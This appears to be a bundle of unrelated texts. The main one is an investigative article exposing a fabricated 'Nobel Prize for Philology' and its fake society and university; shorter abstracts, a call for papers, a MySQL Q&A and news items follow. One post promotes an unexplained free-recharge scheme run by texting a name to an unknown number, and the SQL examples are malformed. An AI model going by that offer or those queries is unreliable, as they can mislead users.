For a prize that claims to have such a long history and such select company - Nobel and Fields - the Gold Medal received by Chomsky and Simion is as obscure as they come. Google doesn’t know much about it either. So we contacted the Swedish Nobel Foundation, in order to find out if they have anything to do with Simion’s prize. They told us they don’t. “The Nobel Prize is a Nobel Foundation registered trademark. The Nobel Foundation is in no way affiliated with the institutions you mention in your email [International Society of Philology and University of Philology],” wrote Mikael Östlund, communication and PR officer with the Nobel Foundation. The same email read that, should trademark infringement be at play, the Nobel Foundation will pursue legal action.
Then, we followed the threads that lead to the three headers of the letter received by the Romanian Academy member - Centre Unesco de Besançon, International Society of Philology and University of Philology - and attempted to figure out what this “Nobel Prize for Philology” really is.
From the little house in the woods to the company in the tax haven
The first company to back the award, according to the letter, is “Centre Unesco de Besançon”. Since the web page in the header leads nowhere, we asked the United Nations Educational, Scientific and Cultural Organization for further clarifications - after all, its logo reigns at the top of the document received by Eugen Simion. “This center is not in our database. It is not patroned by UNESCO, nor is it a second category center,” wrote Laetitia Kaci, from central UNESCO headquarters in Paris, denying any affiliation with the Gold Medal of Philology. “UNESCO is in no way affiliated with the International Society of Philology and has nothing to do with the Gold Medal.”
The location of the UNESCO center in Besançon, as indicated in the letter received by Eugen Simion
In fact, the indicated address in Besançon doesn’t seem to host any cultural center - only a cozy family home, enveloped in greenery. From Eastern France, we took a hike via Google Maps on the coastal highway in Lewes, a small town in the U.S. state of Delaware - a tax haven that allegedly hosts the International Society of Philology, affiliated with the University of Philology and Education, which awards the Gold Medal for Philology on a yearly basis.
The address of the International Society of Philology, as indicated on its web page and in the letter received by Eugen Simion
However, this address is not the location of any building that looks like the one in the photo the University of Philology posted to its Facebook page, in turn copied from a Google Maps screenshot. The photo of the University in Delaware, which awards the world’s most important prize in philology is, in fact, a block of flats in Baton Rouge, Louisiana. It’s not just that University headquarters are nowhere to be found in the photo - neither are the alleged classrooms featured on the website. A cursory Google Images reverse search revealed that at least one of the rooms is, in fact, located at Canada’s British Columbia University.
The photo posted to the Delaware University of Philology Facebook page (above), alongside the Google Images screenshot of the Louisiana address, where the building is actually located
However, this is just the beginning of a landslide of discrepancies, half-truths, fabrications, and false information surrounding the Gold Medal of Philology, which, over the course of our research, turned out to be fictional as well. The entire backstory of this award is, in fact, a textbook case on how to build a forgery, with relatively minimal means. And, despite the fact that the forgery is as feeble as can be, it was solid enough to trick the vigilance of prestigious institutions and important intellectuals, enthralled by the appeal of gold medals and Nobel prizes.
Chomsky has no recollection of the “Nobel” prize
The International Society of Philology also turned out to be fictitious. Its website is a minor masterpiece of the fake news era. The site, which contains so many spelling and grammar errors that it could pass for a philologist’s nightmare, parades a long list of superstars in the field, who allegedly received the very same medal, since 1931 to the present day. The only living recipients are Swedish linguist Göran Malmqvist, humanities VIP Noam Chomsky, Eugen Simion, and Florent Montaclair, a teacher based in a small French town, who introduces himself as the honorary chairman of the International Society of Philology.
Noam Chomsky says he has no recollection of the “Nobel Prize for Philology”
The society bases most of its notoriety on an affiliation with the symbolic acumen of Noam Chomsky, emmeritus professor of linguistics at the Massachusetts Institute of Technology and one of the most influential American intellectuals of the past century. According to the Society’s website, Chomsky also stands as its honorary chairman. In 2016, he allegedly received the Gold Medal for Philology in Paris, against the backdrop of a minor scandal.
The scandal started with an email sent by Florent Montaclair, the other honorary chairman of the Society of Philology and 2015 medal recipient, to the French magazine Philosophie, on November 25, 2016. In the letter, he complains that the French National Assembly changed its mind and called off the award ceremony for the medal. He then asks for help in finding another location for the event. The “news” of turning down “the great Chomsky” snowballs a little on the French side of the internet, despite coming from a single source - Montaclair’s email. Journalists at the French edition of Huffington Post reveal that Chomsky had been invited by the socialist group to the French Parliament. The MPs confirm calling off the meeting (“because of some of his more polemic statements, particularly those about Bin Laden”), yet state that they knew nothing about any award ceremony. The president of the Assembly is also unaware of any medal.
One of the editors-in-chief at Philosophie lends a hand to Montaclair and locates a room at the Center Wallonie-Bruxelles in Paris, where Chomsky holds a talk on November 30 that year and is photographed next to Montaclair, waving a medal in the air.
The Society’s website, after several links whose descriptions have nothing to do with verifiable reality, states that Noam Chomsky actually received the medal at the National Assembly, in the presence of several Nobel Prize winners. However, in other texts, Montaclair states that he actually handed the medal to the American linguist “at the [French] National Library, in front of the National Center for Scientific Research.”
We reached out to Noam Chomsky, now aged 90, to find out what actually happened two years ago, at the award ceremony for the world’s most important medal of philology:
“I know very little about the organization. They invited me to Paris for several talks. I don’t really recall much about the individuals involved, or the organization. Give a great many talks organized by all sorts of groups.”
When explicitly asked if he did indeed receive the Gold Medal awarded by the Society, Noam Chomsky states he has no recollection of ever being handed the “Nobel Prize for Philology”:
Similarly, Swedish Academy member Goran Malmqvist (94) is in no way associated with ever receiving such a medal - it’s not even listed in the entry about him on Wikipedia. We contacted him to ask about the alleged Gold Medal, but received no response prior to publication. The fact that famous philologists, such as D. Hymes, Joseph Greenberg, or Y. Lotman presumably received this award is only mentioned in their Wikipedia entries, where the sole cited source is actually the website of the International Society of Philology. As to Umberto Eco receiving the “prestigious” gold medal in 2001, Google only indicates two sources: the very same Society and Romanian ‘hearsay’ news site Știripesurse.ro, which relays the release on Simion entering the same league of recipients that includes Chomsky and Eco.
In other words, all online references to the “Nobel Prize for Philology” boomerang back to the page of the International Society of Philology, which claims to be granting this award. No major international publication ever mentions such ceremonies having taken place, no credible source in the field includes as little as a single word on this mysterious society, the American university that allegedly hosts it, or Florent Montaclair, whose name is associated with all these institutions. However, Chomsky’s name seems to have worked like a magic spell, which dulled everyone’s critical thinking.
We reached out to Goran Malmqvist (94) to ask him about the alleged Gold Medal, but received no answer prior to publication
The African universities and the surprised researchers
Since all of the Romanian press relayed the “news” that the Romanian academic allegedly won out following the vote of more than 200 major global universities (with exactly 123 votes in his favor, according to Simion’s own statements), we wanted to find out what these “universities from all over the world” actually are. The list of institutions on the Society’s membership list is overwhelmingly made up of African universities, such as Université de Ouagadougou (Burkina Faso), Université Omar Bongo (Gabon), Université de Fianarantsoa (Madagascar), and African Virtual University (Kenya). Only seven of the universities are based in Europe. We reached out to some of them, to investigate whether or not they have anything to do with the Society. Both ETH Zurich - Swiss Federal Institute of Technology and the University of Warwick, which responded to our inquiry, denied any sort of affiliation. All sorts of other institutions that have nothing to do with philology have also been bunched up on the list: Indian Institute of Technology Madras, Institut supérieur coréen de science et de technologie, etc.
The list of "individual members" of the International Society of Philology is just as inauthentic. We randomly contacted some of the researchers in various fields, listed on the website:
“I’m not a member of this organization” (Daniel Peptenatu, lecturer at the Faculty of Geography, University of Bucharest)
“I also came across my name on the INSOP website, while I was looking for references to my papers. I am not a member of the Society and I don’t work for the University of Ankara, as that page states.” (Zeynep Aktüre, PhD candidate at the Department of Architecture with IZTECH, Izmir)
“I am mentioned on this website, although I have no connection with this society” (Dr. Susan Parham, director of the Department of Urbanism, University of Hertfordshire)
The same researchers are also listed in the “2019 Congress” section of the Society’s site, this time along with their email addresses. None of those we contacted knew anything about this. The call for papers for the congress that would allegedly take place in June 2019, in Delaware, is not only poorly written, with grammar mistakes and zero precision, but its deadline is December 2015.
The "Recent Works" section of the site is also fabricated by the International Society of Philology: the entire list of works cited is copied verbatim from the bibliography of the modern criticism course held at the University of Santa Cruz (which actually exists). In the "Works" section of the site, the Society appropriates titles published by members of the Philological Society, Great Britain’s oldest active research society.
In other words, the site of the Society that claims to have awarded medals to Chomsky and Eco, and that Eugen Simion recently labelled as “a serious institution” in a recent lecture, is almost entirely untrue, in terms of the information it presents.
The university made up behind a screen
The plot thickens, however, as the International Society of Philology is backed by another fictional entity: the University of Philology and Education in Lewes, Delaware, a small town with little over 3,000 inhabitants. The address listed on the university’s website is actually the headquarters of DelawareInc, a company which, according to its own website, is managed by Harvard Business Services Inc (HBS), a firm that helps you set up firms in the state of Delaware. Why this U.S. East coast state in particular? Because it’s a sort of American Cyprus, a tax haven where anyone can anonymously own a business. Even people located outside the United States, as the DelawareInc blog explains.
According to OpenCorporate.com, a database listing all the companies involved in the biggest press leaks in recent years, HBS is linked to over 140,000 companies - just like Mossack Fonseca, the famous company involved in the “Panama Papers” debacle, for managing over 200,000 off shore companies. It’s worth mentioning that HBS was also previously involved in a corruption scandal that emerged in Hunedoara County, Romania. The thousands of companies managed by HBS also include University of Philology and Education LLC, which granted Simion his “award”.
The “university” is not listed in the database that includes all the graduate education institutions accredited by the U.S. Department of Education, nor in the World Higher Education Database. In other words, it’s just a limited liability company among many other such companies.
WhoIs.com, a website that can tell you where in the world is a certain site registered, indicates France for the “university” page - as it does for the “Society of Philology” it is affiliated with. The French penchant of the Delaware-based institution transpires several times: the homepage of the Institute is labelled “Accueil” (“welcome”, in French). When you call any of its phone numbers, part of the answering machine message is also in French. In fact, even the coat of arms of the “university” is a “loan” with a French connection. The lion is a variation of the emblem of the Franche-Comté region in France, where Florent Montaclair, the honorary chairman of the International Society of Philology lives, as “coincidence” would have it. He also claims to have taught several courses at this fictional Delaware university.
Much like the page of the International Society, the website of the University of Philology and Education is a chaotic compilation of lies and plagiarism from various sources. The site lists several news that can’t be verified. For instance, Sandra Noak, who was actually supposed to hold a conference on January 14, on the work of Russian linguist Nikolai Trubetskoy, does not feature in any Google search results. The same applies to some of the other lecturers, such as John Slo, or Ronald Ronyder.
The page providing information on applying to the programs offered by the university is just more copy-paste. At the end of said info about applications, we are thanked for the “interest in the University of Arkansas”. The file regarding student complaints is vaguely adapted after the regulations at the University of London, which is also the source for the plagiarism of several other administrative documents. Etc.
All our attempts at finding out more on the history of the “Nobel Prize for Philology” have lead us to the same dead-ends: the International Society of Philology and the University of Philology in Delaware. They both recycle the same misinformation or, best case scenario, relay mistaken or imprecise facts.
All roads lead to Florent Montaclair
The falsely UNESCO associated center in France, the fictional university in Delaware, the lecturers with made-up names, the copied lists of publications, Noam Chomsky and Eugen Simion do have something in common, though. His name is Florent Montaclair, a 49-year-old man, about whom our only certainty is that he did, indeed, complete a PhD on Jules Verne. (The second PhD he attributes to himself in his resume, on gypsies in French literature, was allegedly awarded by the fictional university in Lewes). We also know that he’s passionate about vampires and fantasy novels, Eugen Ionesco and fake news. Judging by an article published by the local French press, he’s also an expert in literary criticism and 19th century literature, lives in Montbéliard, a town with a population of 27,000 in the eastern French region of Franche-Comté. He also teaches at ESPE din Belfort, an educational science university, as well as at UFR STGI in Montbéliard, a branch of the Franche-Comté University. However, most of the information about him is contradictory or impossible to verify.
Montaclair claims he was named honorary chairman of the International Society of Philology for two years, after receiving the Gold Medal in 2016 from the institution - which he seemingly made up himself. The Frenchman is also the one who sent Eugen Simion his award letter, as well as the sole actual person, in an ocean of false identities, to provide all the details on the background of this award and the International Society of Philology.
His resume (laid out over the course of 15 pages) links him with the fictional university in Lewes, Delaware. Allegedly, that’s where he managed the course modules on the French Serial Novel and the Grammar of Jules Verne. It’s also where he claims to have taught hundreds of classes, but his resume forgets to mention specifically what he taught and when. The same resume lists his title of former president of the “Unesco Center in Besançon”, which UNESCO denied to have ever been formally affiliated with, and which is not mentioned anywhere else online, except for the story of Montaclair’s dalliances.
That same resume claims that Montaclair received both the Gold Medal for Philology, as well as the “Medal of the French National Assembly”. However, the latter is either granted to French deputies as they set out on their mandates, or to citizens with great achievements, by members of parliament. There is no conclusive proof that the man behind the philology farce has ever received such accolades.
Besides, even the context in which Montaclair allegedly received the “Nobel Prize for Philology” is unclear. December 2015 is the date of the first news published in the French newspaper L'Est Républicain, concerning a teacher at the University of Franche-Comté, who supposedly received the world’s greatest distinction for philological research in New York. This piece also includes Montaclair’s claims to being the head of a “UNESCO research facility”, as well as his statement that the award ceremony was postponed because of recent terrorist attacks and rescheduled for February 2016, at UNESCO headquarters in Paris. The Frenchman was planning to discuss “the role of the vampire in 2010 culture” at this solemn event. Montaclair says he probably received this award due to the impact of his research on the global landscape of philology. He adds that “this award shows that even professors at very small universities can be of interest for the whole world.”
However, a subsequent news article published by the same outlet says that the distinction, an “equivalent of the Nobel Prize”, was awarded to Montaclair at the headquarters of the French National Assembly, by its president. Yet one of the president’s tweets features two photos of a room, a couple of chairs, some people, and a painting, congratulating Montaclair for a completely different medal, awarded by France’s most important research institution, the National Center for Scientific Research (CNRS). (Spoiler: Montaclair never received any medals from the CNRS).
Florent Montaclair’s actual published books (in the sense that they can be pinned down in several library catalogues) largely deal with 19th century genre prose: serial novels, Jules Verne, vampire literature, fantasy, etc. Yet most of them were never cited in relevant academic research and almost all of them were published by the mystery publishing house Presses du Centre UNESCO de Besançon.
To round of his panoply of forgeries, Montaclair’s resume states that in 2017, he will have co-authored, along with Noam Chomsky, a linguistics paper titled “The Galileo Challenge: a new aspect of the study of language”. The text was actually written - and published as such - by Chomsky himself. What’s more, a TEDx talk held by the Frenchman bore the same name, but in French “Le défi Galiléen”. As for another conference he attributes to himself in his resume, about which he claims was held at Harvard, with the title of “Gispsies (sic) in french serial novel”, Harvard University was unable to confirm if it ever actually took place.
The front cover of the PhD paper Montaclair claims to have submitted to the fictional university in Lewes. The paper, whose title is in English, despite the text in French displayed on the back cover, is listed as having been published by the press of the same fictional university.
The ghost president
As research shows, Florent Montaclair didn’t just invent a university, an international philology society, a medal “rivaling” the Nobel Prize, and a convincing story for the Romanian Academy, but, most likely, he also fabricated a character to keep him company.
The character in question is Martin Balmont, the man behind the scenes. Although the site of the International Society of Philology doesn’t feature his name, Montaclair claims that Balmont is the president of this society. The page of the University of Philology lists Balmont as rector. The very scarce information about him on Wikipedia claims that he is the author of several obscure fantasy novels, published by the press of the Unesco Center in Besançon, where many of Montaclair’s papers were also published. In one of his books, Balmont thanks all the authors that helped and shaped him, amongst which Jules Verne and Bram Stoker, whom Montaclair avowedly fetishizes. To make this fake identity game all the more exciting, Matin Balmont also features in one of the course bibliographies that Montaclair claims to have taught. Balmont has all the makings of a “doppelganger” that Montaclair himself invented.
Meanwhile, the same Balmont is co-signatory of the letter informing Eugen Simion that he has won the “Nobel for Philology”, alongisde Florent Montaclair. The emblem on the gold medal is, in its turn, stolen from an American company selling wood byproducts. In an article in the French local press, the journalist suggests that the engraving in the background features the Appalachian Mountains.
The logo of the forestry company (left) and the logo of the Golden Medal of Philology (right)
And, although all the leads in this farce harken back to Montaclair, it is not entirely clear what he stands to gain from it. One potential stake is money, so long as the statute of the International Society of Philology claims that membership taxes can go up to as much as 16,740 Euros. However, it’s hard to believe that a person willing to invest such an amount just to vote for the winners of the Golden Medal of Philology could overlook so many faux-pas, lies, and inadvertencies. Most likely, the main thing at stake is symbolic: by inventing an award aspiring to Nobel-level prestige, Montaclair would also become famous, as a recipient standing next to Chomsky and Eco. And if we were to take his word just once, in his statements for the local press, the Frenchman expresses his hopes that this award will stand as motivation for the French state to found a research center in his area. “Will this great region and its universities once more miss out on the opportunity to build a world-renowned research hub?”
We wrote to Florent Montaclair to explain that our research leads to the conclusion that the International Society of Philology and the Gold Medal for Philology are his fabrication. By publication time, we hadn’t received any answer.
LATER EDIT:Florent Montaclair did not respond to our questions. Instead, on the one hand, he tells us that “it is very, very, very strange for the Romanian press to take interest in purely internal affairs. Imagine if the University of Bucharest awarded an honorary PhD to a Chinese man… Why should this be of any interest for the masses, mobilize energies, stir up controversies?” To conclude, he suggested that “you should undoubtedly be proud that a Romanian has received international recognition.”
Praise for the Romanian “Nobel”
The story invented by Florent Montaclair, through which aging researchers are promised the “Nobel Prize” - no less -, the supreme accolade for their entire career, is, in fact, a puzzle of lies. Its author, however, is terribly negligent and the fiction behind the Gold Medal can be very easily picked apart, through a few Google searches. Even as news of Eugen Simion’s award was just breaking, several Romanian men of letters rose question marks about the legitimacy of the International Society of Philology and the authenticity of the Medal. However, fiction turned out to be more believable.
On Thursday, January 10, a meeting with Eugen Simion took place at the University of Bucharest. During the proceedings, several personalities in Romanian academia held speeches to honor the “recipient of the International Academic Award, the Gold Medal for Philology Alfred Nobel 2018”.
The event took place in the Council Hall of the Faculty of Letters and lasted for over two hours. During that time, the main topics for discussion were Eugen Simion’s career and this “prestigious distinction”. Before discussing Simion’s achievements, Romanian Academy member Mircea Martin noted that he was surprised by the existence of this award: “I want to start by saying that I had no idea about the existence of this medal before some two weeks ago. And I’m probably not the only ignoramus.”
Eugen Simion himself admitted that this distinction came “out of the blue”, but that he was also “terrified” to see the list of great personalities that received this “highly honoring” medal throughout the years. Literary critic Paul Cernat noted that Eugen Simion, whose “individual and collective works stand as testament for the same unshakeable will,” “won out decisively at the polls”.
In the end, Eugen Simion reminded the university students in the room how important truth is: “I once wrote on the cover of a book that I am a man for whom truth exists.” At the same time, he announced that he is preparing for the award ceremony, “which will take place in March at the European Parliament” and which, “to my surprise, will last for four days”.
The ceremony will actually last for “about two hours”, explained Romanian ALDE MEP Renate Weber. Weber, along with liberal Romanian MEP Cristian Bușoi, is preparing the event for March in Strasbourg. The two took up Florent Montaclair’s proposal for organizing the event - which he had sent out to several Romanian MEPs. “I, too, together with my entire cabinet, will be involved in organizing the event and receiving the guests, who will include Romanian MPs and 40 figures from the academic world,” Renate Weber told Scena9 over the phone.
Meeting with Eugen Simion, the recipient of the “Nobel Prize for Philology” 2018, at the University of Bucharest
We reached out to Academy member Eugen Simion, to inform him of the results of our research and ask him whether he had received any clues as to the possibility that the medal is a farce. We had received no response by publication time.
UPDATE, January 18: After the publication of the article, we got a hold of an invitation that Montaclair had sent to several Romanian MEPs, asking them to join the award ceremony for Eugen Simion. There are discrepancies even in this document - such as Chomsky receiving the medal in Brussels (in other sources, Montaclair states that this allegedly happened in the National Assembly or at the French National Library). At the same time, the two signatures, belonging to Montaclair and Balmont respectively, look terribly similar. The letter, which states that Romanian MEPs Renate Weber and Cristian Bușoi have booked a room for this event, ends with “Could you come to this ceremony for Romania?”
After our investigation was published, several press outlets that had broadcast the initial news on Eugen Simion’s “Nobel” win remitted retractations. Also, numerous literary critics and historians, who had initially shared the news and purported the prestigious nature of the medal, acknowledged their mistakes.
On January 15, Romania’s National Culture Day was celebrated at the Romanian Atheneum in Bucharest, where Academy Member Mihai Cimpoi publicly congratulated Eugen Simion for the award he had received. Its authenticity wasn’t questioned by anyone in the room. The following day, however, the Romanian Academy removed the announcement of the Gold Medal from its homepage.
On January 17, the Romanian Academy released a statement through which it was announcing the commencement of an investigation on the Gold Medal of Philology:
"On December 17, 2018, Romanian Academy member Eugen Simion and the Romanian Academy received a notification letter, through which the International Society of Philology announced that it was awarding Academy member Eugen Simion the Gold Medal for Philology Alfred Nobel. Following the press investigation released by four Romanian journalists, we learned, with great concern, that the actual existence of the prize and the awarding institution are being called into question.
The Romanian Academy takes note of the press investigation and will commence its own investigation into the situation. In this context, the Romanian Academy expresses its grave concern towards the proliferation of the phenomenon of falsifying reality, through lies and imposture. This phenomenon is increasing at a global level and compromising essential values for the normal functioning of society: truth, honesty, trust. The proliferation of this phenomenon is placing serious institutions in the situation of having to turn into investigators and detectives, thus interfering with their proper functioning.
The Office of the Romanian Academy Presidency”
We called the two Romanian MEPs, to check on the evolution of organizing the awards ceremony in Strasbourg, yet the two seemed intent on distancing themselves from the initiative. In spite of her initial assurances of involvement in the organizing efforts, along with her entire cabinet team, ALDE Euro-deputy Renate Weber stated today:
“Do understand that I’m not involved in organizing this. All I did was book a room. I can call off the booking tomorrow or two days ahead of the event. So long as this gentleman, Montaclair, has not contacted me again and hasn’t sent me a list of participants, which I need to file with the European Parliament’s Security Office, there’s nothing I can tell you.”
Liberal Cristian Bușoi says he hasn’t been following the subject and that he hasn’t received any more news from Mr. Montaclair either. Considering these statements, it’s unclear whether the award ceremony for Eugen Simion will actually take place in Strasbourg.
Another unclear aspect is who would have footed the bill for the European Parliament ceremony: Romanian politicians claim their sole contribution was securing the room, while Academy Representatives state that they never discussed the costs of the award ceremony. “That issue never came up,” says Carmen Dobre, with the Romanian Academy Press Service.
At the same time, it’s not likely that a fictional institution would be interested or, for that matter, well-endowed enough financially to organize such an event.
Scena9 received news from Florent Montaclair on Friday, January 18. However, the Frenchman provided no concrete answers to any of our questions regarding the fictional institute and medal. He did, however, continue to recycle loads of misinformation and irrelevant details. His email ends as follows:
“To conclude:
Is he being awarded a Medal? Yes or no?
Is Mr. Simion the recepient of the medal? Yes or no?
Will he be receiving the medal before a committee of Academy members, both members and non-members of the Society? There’s no way for you to know, because that’s the final subject we’re still discussing! After all, there have been no public statements on this topic yet.
As such, you should ask yourself why the Romanian press is so bothered that a scientific society declares a researcher to be the winner of a golden medal!”
But the beginning of his email is far more interesting:
“Dear Madam,
I think the Romanian press must once more become rational.”
Scena9 has informed UNESCO and The Nobel Committee, whose names are being abusively used by Florent Montaclair to validate the prestige of a non-existent institution. |
Development and implementation of a relative value scale for teaching in emergency medicine: the teaching value unit.
Relative value units exist for measuring clinical productivity. Limited objective measures exist, however, for nonclinical activities, specifically teaching. To develop an objective measure of teaching productivity linked to a performance-based incentive plan. Teaching goals and objectives were identified before the 1998-1999 academic year. Teaching value units (TVUs), objective measures for quantifying teaching activities, were developed and assigned based on an estimation of time needed to complete each activity and weighted for importance to the teaching mission. Each physician was allocated teaching time based on past performance and future goals. Targeted TVUs necessary to meet expectations were proportionate to allocated teaching time. Teaching productivity was defined as a percentage of targeted TVUs achieved. Incentive dollars for teaching were distributed based on percentage of targeted TVUs achieved, weighted individually for teaching load. Teaching productivity was evaluated over a three-year period. In year 1, mean TVUs allocated/physician were 181 units (range 25 to 449). Four of 18 physicians (22%) met expectations. The mean individual TVUs achieved were 54% of expected (range 0% to 114%). By year 3, mean TVUs allocated/physician were 179 (range 45 to 629). Twelve of 22 physicians (55%) met expectations. The mean individual TVUs achieved were 82% of expected (range 11% to 146%). Between year 1 and year 3, group productivity increased from 73% to 88%, and mean individual productivity increased from 54% to 82% (p = 0.01). The development of a TVU-based system enabled objective quantification and monitoring of a broad range of teaching activities. The TVU-based system linked to an incentive plan helped to increase individual and group teaching productivity. |
Call for Papers: Fifth Annual ACGS Conference
Global Critical Pedagogies
6 March 2018
In a time of fake news, internet memes, and a global information overload, questions of education and pedagogy have become all the more pressing. Globally, institutes of higher education are under threat, facing budget cuts and an increasing demand for directly and immediately applicable knowledge instead of open-ended critical reflection. In the context of discussions about the Anthropocene and current geopolitical changes – including the upsurge of populisms and nationalisms worldwide, and the alleged rise of Asia – there is a renewed urgency to re/thinking knowledge production and dissemination. How to re/think pedagogy in the midst of all these developments? And what specific role can the social sciences and the humanities play in this?
The fifth conference of the Amsterdam Centre for Globalisation Studies (ACGS), organised in cooperation with the Humanities across Borders network of the International Institute for Asian Studies (IIAS), focuses on critical global pedagogies. It does so along the lines of four interrelated themes:
1. Pedagogies beyond the classroom
The secluded environment of the classroom is a privileged space. Increasingly, the need to move beyond and outside the classroom is articulated. How can everyday practices, such as craftsmanship and vernacular knowledge, be integrated into the curriculum and how can the boundaries between the teacher and the student be destabilised – as propagated, for example, by Rancière in his The Ignorant Schoolmaster (1987)? We are particularly interested here in two domains that may help to blur the boundary between theory and practice, and between the university and the everyday: art and activism. Action research and artistic research have slowly gained momentum in curricula across the world, but how do we transform these research practices into critical pedagogies? And how do we forge creative synergy between academic knowledge and artistic and activist practices?
2. Decolonizing knowledge and worlding pedagogies
The spectre of Europe continues to haunt knowledge production worldwide, with its implicit claims of universalism. As Chen writes in his Asia as Method, “Universalist arrogance serves only to keep new possibilities from emerging, since it allows only one set of accepted analytic language to enter the dialogue and is itself a product of a specific set of historical experiences” (2010: 245). While postcolonial scholars like Chakrabarty call for a provincialization of knowledge, Chen’s plea for inter-Asia referencing suggests an even more radical turn away from ‘the West’ as the primary interlocutor. Simultaneously, in the West, universities are proving very stubborn in their refusal to allow different forms of knowledge from different locations to be integrated in curricula. Indeed, most curricula continue to center on Western knowledge and Western cultural forms, with "the rest" being relegated to at most a case to prove Western theory. How can we decolonize our universities and pedagogies, and how can we move towards more worlding pedagogies geared towards resisting the danger of intellectual parochialism?
3. Contesting the neoliberal university
In the past years, we have witnessed different protests at universities across the world, ranging from the Sanctuary movement at NYU to the Rethink movement at the University of Amsterdam, and from the Umbrella protest movement in Hong Kong to Fees Must Fall in South Africa. Both students and teachers are asking for structural reforms in education and research. While universities increasingly focus on making profit – through attracting more and more students, through real estate speculation, or both – on increasing productivity, and on global rankings and H-indexes, the call for a sustainable, workable, slower-paced, and less neoliberal alternative is getting louder and louder (Berg and Seeber 2016). What strategies have been developed to work towards this alternative, and how do these strategies explore different critical pedagogies?
4. Pedagogies of failure
The global, and arguably neoliberal, mindset of higher education institutions has excluded the possibility of failure through the constant validation and celebration of notions of progress, development, innovation, excellence, and improvement. But is more always really better? How can we rescue failure from its negative connotations? How can we bring it back in and beyond the classroom as a valuable tool for thinking, for knowledge production, and also for creative production as well as political activism? According to the late Marc Karlin, politics is a learning process about how to live with pessimism and how to work on yourself in relation to that pessimism. We may think the same of failure. In the words of Jack Halberstam, “…failing, losing, forgetting, unmaking, undoing, unbecoming, not knowing may in fact offer more creative, more cooperative, more surprising ways of being in the world” (2011: 2). How can we bring failure back into our pedagogies?
We invite papers that explore the complexity of critical pedagogies in their interaction with processes of globalisation and world-making through theoretical and empirical analyses.
Contributions from fields from across the social sciences or humanities are invited. Please submit an abstract (200-300 words) and short bio (max. 100 words) by 1 April 2018 to acgs-fgw@uva.nl. Panels can also be submitted with a maximum of four papers. Please indicate to which of the four themes your contribution belongs.
Cookie Consent
The UvA website uses cookies and similar technologies to ensure the basic functionality of the site and for statistical and optimisation purposes. It also uses cookies to display content such as YouTube videos and for marketing purposes. This last category consists of tracking cookies: these make it possible for your online behaviour to be tracked. You consent to this by clicking on Accept. Also read our Privacy statement
Necessary
???cookiebar.consent-level.1.text.accessibility???
Cookies that are essential for the basic functioning of the website. These cookies are used to enable students and staff to log in to the site, for example.
Necessary & Optimalisation
???cookiebar.consent-level.2.text.accessibility???
Cookies that collect information about visitor behaviour anonymously to help make the website work more effectively.
Necessary & Optimalisation & Marketing
???cookiebar.consent-level.3.text.accessibility???
Cookies that make it possible to track visitors and show them personalised adverts. These are used by third-party advertisers to gather data about online behaviour. To watch Youtube videos you need to enable this category. |
The employment rights of Federal workers with disabilities have been protected since the Rehabilitation Act was passed in 1973. When it was signed into law in 1990, the Americans with Disabilities Act (ADA) extended civil rights protections to workers with disabilities in the private sector. For information about how the ADA protects your employment rights, go to: http://www.eeoc.gov/facts/ada18.html
Many people with disabilities work part time, and because of that, they are not eligible for employer sponsored benefits. If you are disabled, and you work but do not have benefits, click here to find out how to purchase Medicaid. |
Is Electroconvulsive Therapy any More Effective than Simulated Electroconvulsive Therapy in Treatment-Resistant Depression?
Electroconvulsive therapy (ECT) fell out of favour towards the end of the 20th century with the advent of effective and well-tolerated antidepressants. It is now experiencing somewhat of a 'renaissance' in England, with an 11 percent increase in the number of ECT treatments carried out in 2015-16 compared with 2012-13, which represents approximately 2,000 additional treatments. This paper seeks to examine clinical trials comparing the efficacy of real ECT with simulated ECT in treatment-resistant depression (TRD) to determine whether the resurgence of ECT in recent years is justified. A PubMed search was performed to identify clinical trials comparing real ECT with simulated ECT. 6 trials met the inclusion criteria. These were then analysed, and their methodology assessed. 5 out of the 6 trials found real ECT to have a greater antidepressant effect than simulated ECT. The trial that showed no significant difference used a unilateral electrode placement. Analysis revealed significant weaknesses in the trials. There is clear evidence that real ECT has a greater antidepressant effect than simulated ECT when a bilateral electrode placement is used, despite the weaknesses identified in the trials. Continued use of ECT to treat TRD in England and other countries should be encouraged. Further research is needed to better understand its mechanism of action and refine the techniques used. |
Q:
MySQL table to hold pages that a user likes
How would I set up a table for topics that a user likes? I have a topics tables and a user table (more actually but simplified for a post on here). There is an ever increasing number of topics as they are user generated, how could I allow users to like pages? Would i put the topic's id in the user table or the user's id in the topics table or a create a new likes table? The issue I see is that the number of topics could (potentially) be very large. What could I use to create a system that allows a relationship between a users id and the topics id?
A:
What you could possibly do is a "many to many" table structure
A unique auto incremented id - UINT (10) AUTO_INCREMENT
A feild containing the user id - UINT (10) (or what ever matches your main user_id field)
A field containing the "liked" topic id - UINT (10) (or what ever matches your main topic_id field)
Both user_id and topic_id fields would need to be unique together. That means that there can only be once row for a specific like per user. This makes sure (on the database side), that a user will not be allowed to like a topic more than once.
Getting a users liked topics would look like this -
SELECT * FROM user_likes` WHERE `user_id`=USER_ID
Getting the users per like would look like this -
SELECT * FROM user_likesWHEREtopic_id`=TOPIC_ID
As others have said in their answers and also @trevor in the comments below -
Don't forget to add an index on the userid to support retrieval of user liked topics and a separate index on topic is to support the topics per user query - without these, the queries will get slower as more data is added over time.
|
[Expired] Recharge your mobile for Rs. 20, Rs.50 and Rs.100 for free
Get your mobile recharge done free of cost just by sending an SMS. After sending the SMS, you will get one confirmation message from LM-Marktr whether your recharge is successful or no.
How to get free mobile recharge by Sending SMS:
1. Send an SMS to 8826671122 with the text "PLY A Yourname UniqueCode"
In place of Unique Code, just write any random 6 digit unique number eg. 123456 and send the message to 8826671122
you get recharge of any amount starting from Rs. 20.00
You may need to try unique code multiple times since if that code has been used previously by some other person, its not going to work.
It is not clear how this offer is actually working but looks like this is some kind of Marketing research activity. Already most of the readers have already recieved free recharge.So try your luck and enjoy free mobile recharge. TIP: You can try free sms services like way2sms or fullonsms to avail this offer There is already a hot discussion going on in our forum on this topic, |
The Palestine Authority became a formal party to five global treaties on Friday, the United Nations announced.
The treaties ban torture and racial discrimination, and protect the rights of women, children and the disabled, according to the Ma'an news agency.
The authority it due to join an accord protecting children in conflict zones – which is an optional part of the overall child rights treaty – on May 7 and two agreements governing civil, political, economic, social and cultural rights on July 2.
Rupert Colville, spokesman for the UN human rights office, told reporters that the formal move followed the PA's April 2 declaration to UN Secretary-General Ban Ki-moon that it was adopting the treaties.
It is notable in a region with a high number of reservations to human rights treaties, that Palestine is acceding to eight human rights treaties without making a single reservation, Colville said.
